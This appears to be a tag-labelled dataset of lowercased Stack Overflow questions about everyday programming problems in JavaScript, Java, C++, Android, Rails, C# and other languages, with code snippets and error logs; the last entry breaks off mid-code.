stoppropagation() div inside div onmouseover  i want to put a div inside another div  and when the user put the mouse on the parent div the two divs show up.    the problem is that when i put the mouse over the parent div the two divs show up but when i move the mouse over the child div the show() function execute it self again  how can i stop that    <h2>html code:</h2>  <pre><code>&lt;div id= parent  onmouseover= show(this) &gt;     &lt;div id= child &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>  <h2>javascript code:</h2>  <pre><code>function show(element) {     settimeout(function () {         opacity(element)     }  100); }  function opacity(element) {     element.style.opacity =  1  } </code></pre>,javascript
whats wrong my my java program <pre><code>public class mymain {      public static void main(string[] args) {             a v = new a();             v.set(13.7  78.25);             v.add();             v.half();             v.max();     } }  public class a {     private double d  e;      public void set(double d  double e) {             d=d;             e=e;     }      public void add(){             system.out.println(d+e);     }      public void half(){             system.out.println((d+e)/2);     }      public void max(){             if(d&gt;e)                     system.out.println(d+  is greater );             else if(e&gt;d)                     system.out.println(e+  is greater );             else                     system.out.println( they are equal );     } }   ////////////////////////////////////////////////output(what i am getting:)  0.0 0.0 they are equal  ////////////////////////////////////////////////output(what it should be:) 91.95 45.975 78.25 is greater  ///////////////// </code></pre>   what s wrong in the program,java
pointers of two dimensional array  there is such code:   <pre><code>int (*ptr_)[1] = new int[1][1]; ptr_[0][0] = 100; std::cout &lt;&lt;  to:   &lt;&lt; &amp;ptr_ &lt;&lt;     &lt;&lt; ptr_ &lt;&lt;     &lt;&lt; *ptr_ &lt;&lt;     &lt;&lt; &amp;(*ptr_) &lt;&lt;     &lt;&lt; **ptr_ &lt;&lt; std::endl; </code></pre>   result is:   <pre><code>to: 0xbfda6db4 0x9ee9028 0x9ee9028 0x9ee9028 100 </code></pre>   why values of ptr_ and *ptr_ are the same  value of ptr_ equals to 0x9ee9028  so value of memory cell 0x9ee9028 is *ptr_ which is 0x9ee9028  however **ptr_ gives result 100. is it logical,c++
spinner adapter badly rendered  i have an autocomplete spinner with an adapter that usually looks like this:    <a href= https://i.stack.imgur.com/5setf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5setf.png  alt= enter image description here ></a>    thing is  sometime it is rendered like this:    <a href= https://i.stack.imgur.com/8kxgu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/8kxgu.png  alt= enter image description here ></a>    i found that a way to reproduce it is to click again in the spinner while the dropdown is open  which causes it to be rendered again.    this is the xml for the adapter item (vertical padding is 8 dp):   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android                  xmlns:app= http://schemas.android.com/apk/res-auto                  xmlns:tools= http://schemas.android.com/tools                  android:layout_width= match_parent                  android:layout_height= match_parent                  android:padding= 8dp                  android:gravity= center                  android:fitssystemwindows= true                  android:orientation= vertical &gt;      &lt;imageview         android:id= @+id/flag          android:src= @drawable/artboard          android:layout_marginright= @dimen/activity_vertical_padding          android:layout_width= 16dp          android:layout_centervertical= true          android:gravity= center_vertical          android:layout_height= 16dp /&gt;      &lt;textview         android:id= @+id/name          tools:text= competition name          android:gravity= center_vertical          android:layout_centervertical= true          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_torightof= @+id/flag          /&gt;   &lt;/relativelayout&gt; </code></pre>,android
how to set always default value for first record in list view in aspx page   i have an aspx page that uses a simple form to perform a search and the results are presented in a listview.    i have added a radio button to one of the columns and have set the value to be the records flightno. set always default value for first record in list view.    what i need to do is allow the user to select the row they require from the list view by selecting the radio button.,asp.net
directing login from admin to a specific page <pre><code>rails 3.2 </code></pre>   i am trying to re-direct admin  to a specific page  when they login. in my routes.rb  i tried:    namespace :admin do     root to:  admin/tickets#index     but i am getting the following error message:   <pre><code>uninitialized constant admin::admin </code></pre>   admin/tickets#index is defined in controllers/admin/tickets_controller.rb    any ideas,ruby-on-rails
i need pop up a window on button click <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3625669/pop-up-window-in-asp-net >pop up window in asp.net </a>    </blockquote>     i need to pop up a window on a button click so that the popped up window contains a checkboxlist and also i need to get the values which were checked in the checkboxlist which is present in the popped up window.     is there any way to do this if so please help me  else suggest any other way,asp.net
obj c initializer declaration  very new to obj-c and very confused about the syntax of the .h and .m files. all i m trying to do is pass an array into my initializer. i get an error on my .h file that says <code>expected a type</code> and a warning on my .m file that says <code>conflicting parameter types in implementation of initwithcolor :  __strong id  vs  glkvector4  (aka  union _glkvector4 )</code>     square.h   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface square : nsobject  - (id) initwithcolor : (glkvector4) col;  @end </code></pre>   square.m   <pre><code>#import  square.h  #import &lt;glkit/glkit.h&gt;  #define bg_width 500.0f #define bg_height 400.0f  typedef struct {     glkvector3 positioncoordinates;     glkvector2 texturecoordinates;     glkvector3 normalcoordinates; } vertexdata;  vertexdata bgrect[] = {     { { 0.0f   0.0f   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f}  }    // 2d - forward facing only     { { bg_width   0.0f   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f} }      { { 0.0f   bg_height   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f} }      { { 0.0f   bg_height   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f} }      { { bg_width   0.0f   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f} }      { { bg_width   bg_height   0.0f}  {0.0f  0.0f}  { 0.0f   0.0f  1.0f} } };  @implementation square {     glkvector4 color; }  - (id) initwithcolor : (glkvector4) col {     self = [super init];     if (self) {         color = col;     }      return self; }  @end </code></pre>,objective-c
how to change position of calendar in iphone   i have implemented one  calendar application for that i have used tapkullibrary.but in that calendar is display in top of the view.i want to display in bottom of view.i don t know where i have to change x and y position.can you give me idea about that.    thanks in advance.,iphone
why is my sequence generating incorrectly   sorry  this code had to be removed.,java
cs106b libs for use with xcode 4.x  is there a version of the stanford c++ libraries for cs106b available for use with xcode 4.x. the itunes u videos are about 4 years old and the libs referred to in the handouts are not compatible with xcode 4.x @ 10.7.3.    i ve already tried to install xcode 3 but it crashes on startup so this is not an option.    maybe there are some equivalent libs out there which provide similar functionality     any suggestions     lectures and materials are available here:  <a href= http://itunes.apple.com/de/course/programming-abstractions/id495054099  rel= nofollow >http://itunes.apple.com/de/course/programming-abstractions/id495054099</a>    libs are available here: <a href= http://see.stanford.edu/materials/icspacs106b/cs106libs_for_xcode.zip  rel= nofollow >http://see.stanford.edu/materials/icspacs106b/cs106libs_for_xcode.zip</a>   <pre><code>#include  genlib.h  #include  simpio.h  #include &lt;iostream&gt;   int main(int argc  const char * argv[]) {     // insert code here...     std::cout &lt;&lt;  hello  world!\n ;     return 0; } </code></pre>   compile errors:   <pre><code>ld /users/user123/library/developer/xcode/deriveddata/helloworld-ahlmhegbtmaasucxmbtekzjtbuha/build/products/debug/helloworld normal i386     cd  /users/user123/dropbox/$workspaces/xcode/cs106b/helloworld      setenv macosx_deployment_target 10.7     /applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/clang++ -arch i386 -isysroot /applications/xcode.app/contents/developer/platforms/macosx.platform/developer/sdks/macosx10.7.sdk -l/users/user123/library/developer/xcode/deriveddata/helloworld-ahlmhegbtmaasucxmbtekzjtbuha/build/products/debug  -l/users/user123/dropbox/$workspaces/xcode/cs106b/helloworld/cs106   -l/users/user123/dropbox/$workspaces/xcode/cs106b/helloworld/stanfordcpplib   -l/users/user123/dropbox/$workspaces/xcode/cs106b/helloworld/helloworld/cs106  -f/users/user123/library/developer/xcode/deriveddata/helloworld-ahlmhegbtmaasucxmbtekzjtbuha/build/products/debug -filelist /users/user123/library/developer/xcode/deriveddata/helloworld-ahlmhegbtmaasucxmbtekzjtbuha/build/intermediates/helloworld.build/debug/helloworld.build/objects-normal/i386/helloworld.linkfilelist -mmacosx-version-min=10.7 -lcs106 -o /users/user123/library/developer/xcode/deriveddata/helloworld-ahlmhegbtmaasucxmbtekzjtbuha/build/products/debug/helloworld  undefined symbols for architecture i386:    ___cfconstantstringclassreference   referenced from:       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       cfstring in libcs106.a(mainwrapper.o)       ...    _nsapp   referenced from:       +[glue showabout:] in libcs106.a(mainwrapper.o)       terminateapp() in libcs106.a(mainwrapper.o)       +[nsbundlewithoutspuriouserrorlog aloadnibnamed:owner:] in libcs106.a(mainwrapper.o)       _main in libcs106.a(mainwrapper.o)       -[consoletextview keydown:] in libcs106.a(consoletextview.o)       +[glue showabout:] in libcs106.a(mainwrapper.o)       terminateapp() in libcs106.a(mainwrapper.o)       +[nsbundlewithoutspuriouserrorlog aloadnibnamed:owner:] in libcs106.a(mainwrapper.o)       _main in libcs106.a(mainwrapper.o)       -[consoletextview keydown:] in libcs106.a(consoletextview.o)    _objc_msgsendsuper   referenced from:       +[nsbundlewithoutspuriouserrorlog aloadnibnamed:owner:] in libcs106.a(mainwrapper.o)       -[consoletextview initwithframe:] in libcs106.a(consoletextview.o)       -[consoletextview setfont:] in libcs106.a(consoletextview.o)       -[consoletextview dealloc] in libcs106.a(consoletextview.o)       -[consoletextview keydown:] in libcs106.a(consoletextview.o)       -[consoletextview rangeforusertextchange] in libcs106.a(consoletextview.o)    _cfbundlegetinfodictionary   referenced from:       _main in libcs106.a(mainwrapper.o)    _cfbundlecopybundleurl   referenced from:       _main in libcs106.a(mainwrapper.o)    _objc_msgsend   referenced from:       +[glue applicationdidfinishlaunching:] in libcs106.a(mainwrapper.o)       +[glue showabout:] in libcs106.a(mainwrapper.o)       cocoaconsoleresize(int  int  int  int) in libcs106.a(mainwrapper.o)       terminateapp() in libcs106.a(mainwrapper.o)       setconsolesize(int  int  int  bool) in libcs106.a(mainwrapper.o)       patched_read(void*  char*  int) in libcs106.a(mainwrapper.o)       createmenuwithitems(nsstring*  menuitem*  int) in libcs106.a(mainwrapper.o)       ...    _cfurlcreatecopydeletinglastpathcomponent   referenced from:       _main in libcs106.a(mainwrapper.o)    _cfurlgetfilesystemrepresentation   referenced from:       _main in libcs106.a(mainwrapper.o)    _cfbundlegetmainbundle   referenced from:       _main in libcs106.a(mainwrapper.o)    main()   referenced from:       +[glue studentmain] in libcs106.a(mainwrapper.o)    _cfrelease   referenced from:       _main in libcs106.a(mainwrapper.o)    _nsfilehandledataavailablenotification   referenced from:       -[consoletextview registerfornotifications] in libcs106.a(consoletextview.o)    _nsforegroundcolorattributename   referenced from:       -[consoletextview setfont:] in libcs106.a(consoletextview.o)    _nsfontattributename   referenced from:       -[consoletextview setfont:] in libcs106.a(consoletextview.o)       +[consoletextview contentsizeforpointsize:numrows:numcols:] in libcs106.a(consoletextview.o)    _nsbeep   referenced from:       -[consoletextview keydown:] in libcs106.a(consoletextview.o)    _objc_msgsend_fpret   referenced from:       +[consoletextview contentsizeforpointsize:numrows:numcols:] in libcs106.a(consoletextview.o)    _objc_msgsend_stret   referenced from:       -[consoletextview setpointsize:numrows:numcols:center:] in libcs106.a(consoletextview.o)       +[consoletextview contentsizeforpointsize:numrows:numcols:] in libcs106.a(consoletextview.o)       +[consoletextview createconsoleinwindow] in libcs106.a(consoletextview.o)    .objc_class_name_nsthread   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsautoreleasepool   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsdictionary   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsstring   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsmenu   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsmenuitem   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsbundle   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)       .objc_class_name_nsbundlewithoutspuriouserrorlog in libcs106.a(mainwrapper.o)      (maybe you meant: .objc_class_name_nsbundlewithoutspuriouserrorlog)    .objc_class_name_nsapplication   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(mainwrapper.o)    .objc_class_name_nsobject   referenced from:       .objc_class_name_glue in libcs106.a(mainwrapper.o)    .objc_class_name_nsattributedstring   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsmutabledictionary   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsfont   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsscroller   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsscreen   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nswindow   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsscrollview   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nscolor   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsnotificationcenter   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsfilehandle   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nsdata   referenced from:       pointer-to-literal-objc-class-name in libcs106.a(consoletextview.o)    .objc_class_name_nstextview   referenced from:       .objc_class_name_consoletextview in libcs106.a(consoletextview.o) ld: symbol(s) not found for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>,c++
this  in context of addactionlistener  this might well be a very noob question but i am one so it would be great if you could explain in an easy to understand manner for me.    so i was following up with a swing tutorial and faced this   <pre><code>nameofbutton.addactionlistener(this); </code></pre>   so i know what this is when used in context of constructor as it calls itself again.    also i know what it does in terms of relating parameters of method to variables within the class.    but i am curious to what this in such instance refers to. does it refer to the button itself  so does it mean it s creating an action listener of itself or does it somehow refer to the method it is in  thank you,java
hierarchical dependency and  the type is defined in an assembly that is not referenced   for example  i have three class libraries: <code>l1</code>  <code>l2</code> and <code>l3</code>. <code>l1</code> has type <code>t1</code>. <code>l2</code> has type <code>t2</code>. <code>l2</code> has reference to <code>l1</code>. <code>l3</code> has reference to <code>l2</code>. <code>l3</code> has no explicit reference to <code>l1</code>.    it compiles and works absolutely okay if <code>t2</code> class looks like:   <pre><code>public class t2 {     t1 gett1() { ... }; } </code></pre>   but if <code>t2</code> uses <code>t1</code> as parameter in constructor  it says <code>t1 is defined in an assembly that is not referenced.</code> when i build <code>l3</code>:   <pre><code>public class t2 {     t2(t1 t1) { ... };     t1 gett1() { ... }; } </code></pre>   is it possible somehow to ignore this error  i do not use constructor with <code>t1</code> in <code>l3</code> and do not want to add reference to <code>l1</code>.,c#
how to check checkbox when label is clicked  lets say i have a checkbox control and a label.    what i want to do is when i click on label then checkbox should get checked.    how do we do that  i know its a pure html problem. i have seen this in say (gmail  facebook)    here is the <a href= http://jsfiddle.net/k8cgm/  rel= nofollow >fiddle</a>,html
evaluation of an expression in c without an explicit type  consider the following question from a previous paper on c:   <blockquote>    show step-by-step how the following c expression is evaluated  giving the   value of the expression and the <strong>type of that value</strong>.   <pre><code>9 / 3 / 2 * 6 + 2 * 1.5 </code></pre> </blockquote>   is the type a float or a double  could someone please clarify  (note the lack of an explicit type in the question.),c
selection bug using jquery <pre><code>$(document).ready(function(){     $( .lower_it ).click(function() {         $( #  + this.id).toggleclass( active )         $( #  + this.id).siblings( .itemcontainer ).toggleclass( hide )              $( .itemcontainer ).not( #  + this.id).removeclass( active );         return false;     }); }); </code></pre>   demo - <a href= http://jsfiddle.net/jknjz/60/  rel= nofollow >http://jsfiddle.net/jknjz/60/</a>    the stripes at the bottom are the navigation buttons 1  2  3. they effect the boxes at the top.   <ul> <li>red = active </li> <li>10 width = collapsed</li> <li>100x100 = default position </li> </ul>   i would like all previous positions to collapse when activating a different box. if you play around with the demo  you can notice how it jumbles up the sequence.    [edit]    sorry i didn t mention this earlier. my main project requires me to use two different divs using using their own class  but the buttons and effected boxes share the same id s. which is why i am using ( #  + this.id). it is already working in the demo.,jquery
share button not working on app  i am trying to put a share button in my action bar  and it crashes whenever i try to launch the app.    my error is below:   <pre><code>java.lang.unsupportedoperationexception: this is not supported  use menuitemcompat.getactionprovider()                                                                              at android.support.v7.view.menu.menuitemimpl.getactionprovider(menuitemimpl.java:644)                                                                              at com.example.install.factapp.mainactivity.oncreateoptionsmenu(mainactivity.java:42)                                                                              at android.app.activity.oncreatepanelmenu(activity.java:2646)                                                                              at android.support.v4.app.fragmentactivity.oncreatepanelmenu(fragmentactivity.java:298)                                                                              at android.support.v7.view.windowcallbackwrapper.oncreatepanelmenu(windowcallbackwrapper.java:85)                                                                              at android.support.v7.app.appcompatdelegateimplbase$appcompatwindowcallbackbase.oncreatepanelmenu(appcompatdelegateimplbase.java:241)                                                                              at android.support.v7.app.appcompatdelegateimplv7.preparepanel(appcompatdelegateimplv7.java:1273)                                                                              at android.support.v7.app.appcompatdelegateimplv7.doinvalidatepanelmenu(appcompatdelegateimplv7.java:1553)                                                                              at android.support.v7.app.appcompatdelegateimplv7.access$100(appcompatdelegateimplv7.java:89)                                                                              at android.support.v7.app.appcompatdelegateimplv7$1.run(appcompatdelegateimplv7.java:129)                                                                              at android.os.handler.handlecallback(handler.java:733)                                                                              at android.os.handler.dispatchmessage(handler.java:95)                                                                              at android.os.looper.loop(looper.java:146)                                                                              at android.app.activitythread.main(activitythread.java:5602)                                                                              at java.lang.reflect.method.invokenative(native method)                                                                              at java.lang.reflect.method.invoke(method.java:515)                                                                              at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1283)                                                                              at com.android.internal.os.zygoteinit.main(zygoteinit.java:1099)                                                                              at dalvik.system.nativestart.main(native method) </code></pre>   here is my main.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;menu xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;item         android:id= @+id/sharebutton          android:actionproviderclass= android.widget.shareactionprovider          android:title= @string/app_name          android:showasaction= always /&gt; &lt;/menu&gt; </code></pre>   and here is the main activity with everything  including imports so i can diagnose my probel:   <pre><code>import android.content.intent; import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.view.menu; import android.view.menuitem; import android.view.view; import android.view.animation.animation; import android.view.animation.animationutils; import android.widget.linearlayout; import android.widget.shareactionprovider; import android.widget.textview;  public class mainactivity extends appcompatactivity {      textview factbox;     textview factnumberbox;     factnumbers numbersholder = new factnumbers();     facts factholder = new facts();     backgrounds backs = new backgrounds();     linearlayout bg;     animation scalein;     animation slideout;     private shareactionprovider mshareactionprovider;      protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         factbox = (textview) findviewbyid(r.id.facttextbox);         factnumberbox = (textview) findviewbyid(r.id.numberbox);         bg = (linearlayout) findviewbyid(r.id.background);     }      public boolean oncreateoptionsmenu(menu menu) {         getmenuinflater().inflate(r.menu.main  menu);         mshareactionprovider = (shareactionprovider) menu.finditem(r.id.sharebutton).getactionprovider();         mshareactionprovider.setshareintent(getdefaultshareintent());          return super.oncreateoptionsmenu(menu);      }      private intent getdefaultshareintent(){         intent intent = new intent(intent.action_send);         intent.settype( text/plain );         intent.putextra(intent.extra_subject   subject );         intent.putextra(intent.extra_text  extra text );         return intent;     }      public void genfact(view view) {         factbox.settext(factholder.nextfact());         factnumberbox.settext(numbersholder.nextfactnumbers());         slideout = animationutils.loadanimation(this  r.anim.slideout);         factbox.startanimation(slideout);     }      public void previousfact(view view) {         factbox.settext(factholder.previousfact());         factnumberbox.settext(numbersholder.previousfactnumbers());         scalein = animationutils.loadanimation(this  r.anim.slidein);         factbox.startanimation(scalein);     }      public void randombutton(view view) {         factbox.settext(factholder.randombutton());         factnumberbox.settext(factholder.randomnumber());     }   } </code></pre>,android
merge two arrays keeping numeric key  i have two comma separated strings like this:   <pre><code>$items =  banana apple grape ; $colors =  yellow red green ; </code></pre>   so i exploded them to get arrays. like this:   <pre><code>$items = explode(    $items); $colors = explode(    $colors); </code></pre>   but i m stuck here. i want to merge these 2 arrays ($items and $colors) but keeping an order like this:   <pre><code>$mergedarray[0][ item ] should print  banana . $mergedarray[0][ color ] should print  yellow .  $mergedarray[1][ item ] should print  apple . $mergedarray[1][ color ] should print  red .  $mergedarray[2][ item ] should print  grape . $mergedarray[2][ color ] should print  green . </code></pre>   i tried array_merge but it doesnt seem to solve this problem. thanks.,php
custom route not found <pre><code>rails 3.2 </code></pre>   in my routes.rb file  i have:   <pre><code>namespace :admin do   resources :tickets  except: [:edit] do     member do       put  save_and_close   to:  tickets#save_and_close      end   end    end </code></pre>   in my controllers/admin/tickets_controller.rb  i have:   <pre><code>def save_and_close   success_message = i18n.t( notices.ticket_successfully_updated )   @ticket = ticket.find params[:id]   @ticket.assign_attributes(params[:ticket])   if @ticket.save     redirect_to admin_tickets_path  notice: success_message   else     flash.now[:error] = @ticket.errors.full_messages.join(    )     render action:  show    end end </code></pre>   in my views/admin/tickets/show.html.slim  i have:   <pre><code>= link_to  save &amp; close   save_and_close_admin_ticket_path  class:  btn btn-success ticket-event btn-lg  </code></pre>   from rake route  i have:       <pre><code>save_and_close_admin_ticket put  /admin/tickets/:id/save_and_close(.:format)  admin/tickets#save_and_close </code></pre>   but  when i click on the save &amp; close button  i get the following error message:       <pre><code>started get  /admin/tickets/163925/save_and_close  for 73.83.66.151 at 2017-03-02 05:26:22 +0000 processing by applicationcontroller#routing_error as html parameters: { unmatched_route =&gt; admin/tickets/163925/save_and_close } completed 404 not found in 28.2ms actioncontroller::routingerror (no route matches admin/tickets/163925/save_and_close): </code></pre>   any ideas,ruby-on-rails
call form2 property in main form(form1)  i have tried others suggestion for using this type and somehow manage to run it  but now i have using the same way but having an error as    <strong>error :</strong>   fyp.form6.listbox1  is inaccessible due to its protection level    i am enclosing code below   <pre><code>form6 frm4 = new form6(this.listbox1);          for (int i=0;i&lt;frm4.listbox1.items.count;i++)         {             // &lt;p&gt;             xmlwriter.writestartelement( p );             xmlwriter.writeattributestring(    disp     frm4.listbox1.items[i].tostring());             xmlwriter.writestring(frm4.listbox2.items[i].tostring());             // &lt;/p&gt;             xmlwriter.writeendelement();         } </code></pre>,.net
sql to combine two unrelated tables into one  i have tables    table1   <pre><code>col1    col2     a       b c       d </code></pre>   and table2   <pre><code>mycol1  mycol2 e           f g           h i           j k           l </code></pre>   i want to combine the two tables  which have no common field into one table looking like:    table 3   <pre><code>col1    col2    mycol1  mycol2 a           b   e   f c           d   g   h null    null    i   j null    null    k   l </code></pre>   ie  it is like putting the two tables side by side.    i m stuck!  please help!,sql
sharing the same container between two different classes  say for example i have the following two classes:   <pre><code>class chessboard {     std::vector &lt;chesspiece&gt; piecelist; }  class chesssquare {     std::vector &lt;chesspiece&gt; piecelist; } </code></pre>   what i want to do is allow both classes to have access to the exact same chesspiece vector  so that both of them have read/write access to the exact same chesspiece data. so say for example when chesssquare updates the piecelist vector  the corresponding piecelist vector in chessboard will get updated as well  and vice-versa. how would i go about implementing this,c++
simple calculator always return 0  in my c# application i want to implement a simple calculation. i got this code:   <pre><code>private void button1_click(object sender  eventargs e) {     int percentfield;     int pricefield;     int result;      percentfield = int.parse(txtpercentnew.text);     pricefield = int.parse(txtpricenew.text);      result = pricefield / 100 * percentfield;      messagebox.show(result.tostring()); } </code></pre>   but the problem is the <code>messagebox</code> displays me <code>0</code>. i can t figure out why. can someone please give me a hint what i am doing wrong,c#
ng-hide is not working in angular js  i need two ng-hide directives.one for editing the salary and one for hiding the salary.but if i use two ng-hide directives in single html tag only editing works but hiding is not working.   <pre><code>&lt;table border= 1 &gt;             &lt;tr&gt;                 &lt;td&gt;id&lt;/td&gt;                 &lt;td&gt;name&lt;/td&gt;                 &lt;td ng-hide= hide &gt;&lt;span&gt;salary&lt;/span&gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr ng-repeat= faculty in facultymembers track by $index &gt;                 &lt;td&gt;&lt;span ng-hide= editmode &gt;{{faculty.id}}&lt;/span&gt;                 &lt;input                     type= text  ng-show= editmode  ng-model= faculty.id &gt;&lt;/td&gt;                 &lt;td&gt;&lt;span ng-hide= editmode &gt;{{faculty.name}}&lt;/span&gt;                 &lt;input                     type= text  ng-show= editmode  ng-model= faculty.name &gt;&lt;/td&gt;                 &lt;td&gt;&lt;span ng-hide= editmode || hide &gt;{{faculty.salary}}&lt;/span&gt;                 &lt;input                     type= text  ng-show= editmode  ng-model= faculty.salary &gt;&lt;/td&gt;                 &lt;td&gt;&lt;button ng-hide= editmode  ng-click= editmode=true;editfaculty($index) &gt;edit&lt;/button&gt;                     &lt;button ng-show= editmode  ng-click= editmode=false &gt;done&lt;/button&gt;&lt;/td&gt;                 &lt;td&gt;&lt;button ng-click= removefaculty($index) &gt;remove&lt;/button&gt;&lt;/td&gt;                 &lt;td&gt;&lt;button ng-hide= hide  ng-click= hide=true &gt;hide salary&lt;/button&gt;                 &lt;button ng-show= hide  ng-click= hide=false &gt;show salary&lt;/button&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt; </code></pre>,angularjs
i need to develop cutting effect like in fruit ninga veg samurai game in iphone  i am new to developing games (and also i am new software development field) in iphone.i need to develop cutting effect like in fruit ninga   veg samurai and cut cut boom games.i dont know how to do this.i search lot about that  they say  just find the distance and angle vector  then apply it to the 4x4 matrix...(or) they said use opengl to develop function like this...like they said  i use opengl to draw but it doesn t look like that.can anyone help to do that.... give sample code for developing cutting effect ....thanks in advance....    here is my draw function for ur convenience..... -(void) draw {   <pre><code>if([_points count] &gt; 0) {      gldisable(gl_texture_2d);     gldisableclientstate(gl_color_array);     gldisableclientstate(gl_texture_coord_array);       glenable(gl_texture_2d);     glenableclientstate(gl_color_array);     glenableclientstate(gl_texture_coord_array);     glenable(gl_line_smooth);     glcolor4f(20  20  20  20);        for(int i=0;i&lt;[_points count]-1;i++)     {         if(i&lt;=1)         {             gllinewidth(5.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;1 &amp;&amp; i&lt;=2)         {             gllinewidth(5.5f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;2 &amp;&amp; i&lt;=3)         {             gllinewidth(6.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;3 &amp;&amp; i&lt;=4)         {             gllinewidth(7.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;4 &amp;&amp; i&lt;=5)         {             gllinewidth(8.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;5 &amp;&amp; i&lt;=6)         {             gllinewidth(9.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;6 &amp;&amp; i&lt;=7)         {             gllinewidth(10.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;7 &amp;&amp; i&lt;=8)         {             gllinewidth(11.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;8 &amp;&amp; i&lt;=9)         {             gllinewidth(12.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;9 &amp;&amp; i&lt;=10)         {             gllinewidth(13.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;10 &amp;&amp; i&lt;=11)         {             gllinewidth(14.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;11 &amp;&amp; i&lt;=12)         {             gllinewidth(15.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }         if(i&gt;12 &amp;&amp; i&lt;=13)         {             gllinewidth(16.0f);             movepoints *p1 = (movepoints*)[_points objectatindex:i];             movepoints *p2 = (movepoints*)[_points objectatindex:i+1];             ccdrawline(p1.location p2.location);         }     }     [super draw]; } </code></pre>   and my update function for fade out the line - (void) update:(cctime) dt {     double now = [[nsdate date] timeintervalsince1970];   <pre><code>if(lasttimetrailremoved == 0) {     lasttimetrailremoved = now;     return; }  if(((now - lasttimetrailremoved) &gt; 0.03f) &amp;&amp; ([_points count] &gt; 0)) {     nslog(@ removing last point );     [_points removeobjectatindex:0];     [_points removeobjectatindex:1];     [_points removeobjectatindex:2];     [_points removeobjectatindex:3];      lasttimetrailremoved = now; } </code></pre> 